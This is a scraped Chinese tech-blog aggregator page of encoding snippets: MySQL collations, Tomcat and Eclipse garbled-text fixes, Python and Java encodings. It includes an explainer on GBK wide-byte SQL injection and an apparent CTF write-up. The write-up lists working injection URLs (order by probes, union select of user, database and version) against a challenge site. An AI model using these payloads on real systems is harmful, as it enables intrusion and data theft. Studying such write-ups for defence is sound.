gbk

字符集与校对集

半世苍凉 提交于 2019-12-02 11:33:56
字符集 show character set可查看可用 字符集(将一系列字符的编码规则组合起来就形成字符集) 显示了字符集名称,描述信息,默认校对集(default collation)和单字符的最大长度(maxLen) 下表展示了可用字符集的部分。 常用字符集有latinl,gbk,utf8 字符集 单字符最大长度 支持的语言 Latinl 1字节 西欧字符,希腊字符等 Gbk 2字节 简体和繁体中文,日文,韩文 Utf8 3字节 世界上大部分国家的文字 单字符占用的存储空间越多,所支持的语言越多 标准的UTF-8(RFC 3629)规定一个字符最多使用4个字节 Mysql从5.5.3版本开始新增了utf8mb4,将一个字符扩展到4个字节。 考虑RFC 3629规范,应使用utf8mb4 校对集 SHOW COLLATION Mysql中提供了很多校对集,用于为 不同字符集指定比较和排序规则。 latinl 字符集默认校对集为latinnl_swedish_ci 校对集用 _ 分隔3部分。第一个部分是对应的字符集,第二部分是国家名,结尾是ci,cs,或bin。其中ci表示不区分大小写,cs表示区分大小写,bin表示二进制方式比较 通过SHOW COLLATION 可以查看mysql可用的校对集。 下图显示了一部分的展示结果。 显示了校对名称(collation) 对应字符集

IDEA启动tomcat控制台中文乱码

江枫思渺然 提交于 2019-12-02 05:35:49
乱码情况:IDEA默认展示的三个log信息,全部乱码。 开始以为是IDEA本身或项目setting的编码格式错误导致,后来发现并不是,而是tomcat自身的日志输出问题。 解决方案: 修改Tomcat安装目录下的conf文件中的logging.properties文件中的内容: 把需要修改的乱码log信息,对应的位置进行修改,我的是需要把UTF-8修改为GBK。     找到如下几行:     1catalina.org.apache.juli.AsyncFileHandler.prefix = catalina.     1catalina.org.apache.juli.AsyncFileHandler.encoding = UTF-8  修改为  1catalina.org.apache.juli.AsyncFileHandler.encoding = GBK     2localhost.org.apache.juli.AsyncFileHandler.prefix = localhost.     2localhost.org.apache.juli.AsyncFileHandler.encoding = UTF-8  修改为  2localhost.org.apache.juli.AsyncFileHandler.encoding = GBK     java.util

SQL注入之宽字节注入

醉酒当歌 提交于 2019-12-02 05:28:36
SQL注入之宽字节注入 0x01简介 SQL注入近几年来连续被OWASP当作十大漏洞中最最危险的漏洞而存在。无论是从数据库中获得敏感信息还是执行一系列的恶意操作甚至是直接获取整个数据库权限,都可能发生在一次小小的提交参数的过程中。为此大多数网站开始对于SQL注入做了一定的防御方法,最早有人提出,将用户提交的所有敏感字符进行过滤和转义,要么将提交参数中的敏感字符过滤掉后再提交给数据库,要么对那些敏感字符使用转义符号进行转义,使其丧失掉注入功能后再进行提交。但我们知道,如果不对源头进行处理,再怎么亡羊补牢也是无济于事。后来这些网站在面对黑客那些令人匪夷所思的Bypass技巧面前根本没有应对方法,最终无奈选择关闭。 本篇文章,美创安全实验室将给大家介绍一种当年绕过转义防御最好用的技巧即宽字节注入攻击。 0x02编码历史 一听到“宽字节注入”,那不可避免地就要提到有关字节编码方面的知识,所以在讲解注入原理之前,我们简单讲解一下有关编码的历史。 最早美国人决定用8个可以开合的晶体管来组成不同的状态,这些晶体管只有“亮”或“不亮”两种形态,也就是对应了二进制的0和1。而1个字节有8个比特位,可以组合成2^8=256种不同的方案,他们把编号从0开始的32种状态用在规定的特殊用途,这32个字符后来成为“控制码”;他们又把所有的空格、标点符号、数字、大小写字母分别用连续的字节状态表示

(宽字节注入) 手注+sqlmap

断了今生、忘了曾经 提交于 2019-12-02 03:29:48
进入题目后先简单尝试一下。 很明显的宽字节注入。 宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码. 手工注入 1、判断列数: http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23 order by 3 时报错,说明只有两列。 2、各类信息: http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23 sae-chinalover@123.125.23.212 : sae-chinalover : 5.5.52-0ubuntu0.14.04.1 3、库名: http://chinalover.sinaapp.com/SQL-GBK/index.php

一篇文章详解python的字符编码问题

会有一股神秘感。 提交于 2019-12-02 02:55:30
一篇文章详解python的字符编码问题 一:什么是编码   将明文转换为计算机可以识别的编码文本称为“编码”。反之从计算机可识别的编码文本转回为明文为“解码”。   那么什么是明文呢,首先我们从一段信息说起,消息以人们可以理解,易懂的表示存在,我们把这个表示为明文(plain text)。对于说英文的人,纸张上打印的或者屏幕上显示的英文都算是明文。 二:都有什么编码格式? 1:ASCII(占一个字符,只支持英文)   计算机上的数据都是以二进制的形式存储的,1个字节(8比特)可以表示256种状态,英文只有26个字符,再加上一些特殊的字符,使用128个就够了,计算机就可以使用127个不同字节来表示英文文字,这就是ASCII码 2:GB2312(占两个字符,支持6700+汉字)   计算机进入中国后,无法显示中文,一个字节已经被占满了,我国重新制定了一个编码表,将扩展的第八位对应的拉丁文全部删掉,规定一个小于127的字符与原来的意义相同,当两个大于127的字符连接在一起的时候,就表示一个汉字,前面一个字节为高字节,后面一个字节为低字节,这样就可以表示7000多汉字,这种编码叫做GB2312。GB2312是对ASCII的中文扩展 3:GBK和GB18030(GB2312的升级版,支持21000+汉字)   由于汉字的数量太大,GB2312是不能满足需求

Ubuntu 解决TXT文本乱码问题

*爱你&永不变心* 提交于 2019-12-02 00:02:59
只要依次在终端输入这两行指令即可: gsettings set org.gnome.gedit.preferences.encodings auto-detected "['GB18030', 'GB2312', 'GBK', 'UTF-8', 'BIG5', 'CURRENT', 'UTF-16']" gsettings set org.gnome.gedit.preferences.encodings shown-in-menu "['GB18030', 'GB2312', 'GBK', 'UTF-8', 'BIG5', 'CURRENT', 'UTF-16']" 来源: https://www.cnblogs.com/zsbzsb/p/11722266.html

UnicodeDecodeError: 'gbk' codec can't decode byte 0xaa in position 606: illegal multibyte sequence

时间秒杀一切 提交于 2019-12-01 22:27:00
打开一个网页的文件报错: UnicodeDecodeError: 'gbk' codec can't decode byte 0xaa in position 606: illegal multibyte sequence 报错 解决: with open(template, "r", encoding='UTF-8') as fh: encoding='UTF-8' 来源: https://www.cnblogs.com/chaopower/p/11719108.html

Eclipse工程 ubuntu 乱码

梦想的初衷 提交于 2019-12-01 21:14:19
Reason: (Windows下的Eclipse默认会去读取系统的编码,所以Widnwos下的Eclipse的编码为GBK),而Ubuntu默认是不支持GBK编码的。 Solution: 1.让Ubuntu支持GBK 修改/var/lib/locales/supported.d/local文件,在文件中添加 zh_CN.GBK GBK zh_CN.GB2312 GB2312 sudo dpkg-reconfigure --force locales 在输出的结果中会出现 zh_CN.GB2312 done zh_CN.GBK done 这样, Ubuntu就支持GBK编码了, 2.设置eclipse Menu-> Windows->Preferences->General->Workspace. Text file encoding->Other 选择GBK , (没有GBK的选项的直接输入GBK三个字符), Apply, GBK编码的中文, Done! 来源: oschina 链接: https://my.oschina.net/u/815378/blog/109164

Ubuntu Eclipse 解决中文乱码

纵然是瞬间 提交于 2019-12-01 21:14:06
今天,把windows下的工程导入到了Linux下eclipse中,由于以前的工程代码,都是GBK编码的(Windows下的Eclipse默认会 去读取系统的编码,所以Widnwos下的Eclipse的编码为GBK),而Ubuntu默认是不支持GBK编码的。所以,首先我们要先让Ubuntu 支持GBK,方法如下: 修改/var/lib/locales/supported.d/local文件,在文件中添加 zh_CN.GBK GBK zh_CN.GB2312 GB2312 sudo dpkg-reconfigure --force locales 然后在输出的结果中会出现 zh_CN.GB2312 done zh_CN.GBK done 这样, Ubuntu就支持GBK编码了, 下面设置eclipse。 首先Windows->Preferences, 然后选择General下面的Workspace. Text file encoding选择Other GBK, 如果没有GBK的选项, 没关系, 直接输入GBK三个字母, Apply, GBK编码的中文, 已经不是乱码了。 来源: oschina 链接: https://my.oschina.net/u/593529/blog/196112

new String(str.getBytes("iso8859-1"), "UTF-8");

梦想的初衷 提交于 2019-12-01 21:04:17
1.编码基础知识 最早的编码是iso8859-1,和ascii编码相似。但为了方便表示各种各样的语言,逐渐出现了很多标准编码,重要的有如下几个。 1.1. iso8859-1 通常叫做Latin-1 属于单字节编码,最多能表示的字符范围是0-255,应用于英文系列。比如,字母a的编码为0x61=97。 很明显,iso8859-1编码表示的字符范围很窄,无法表示中文字符。但是,由于是单字节编码,和计算机最基础的表示单位一致,所以很多时候,仍旧使用iso8859-1编码来表示。而且在很多协议上,默认使用该编码。比如,虽然"中文"两个字不存在iso8859-1编码,以gb2312编码为例,应该是"d6d0 cec4"两个字符(java字符占2个字节),使用iso8859-1编码的时候则将它拆开为4个字节来表示:"d6 d0 ce c4"(事实上,在进行存储的时候,也是以字节为单位处理的)。而如果是UTF编码,则是6个字节"e4 b8 ad e6 96 87"。很明显,这种表示方法还需要以另一种编码为基础。 2.2. GB2312/GBK 这就是汉字的国标码,专门用来表示汉字,是双字节编码,而英文字母和iso8859-1一致(兼容iso8859-1编码)。其中gbk编码能够用来同时表示繁体字和简体字,而gb2312只能表示简体字,gbk是兼容gb2312编码的。 1.3 unicode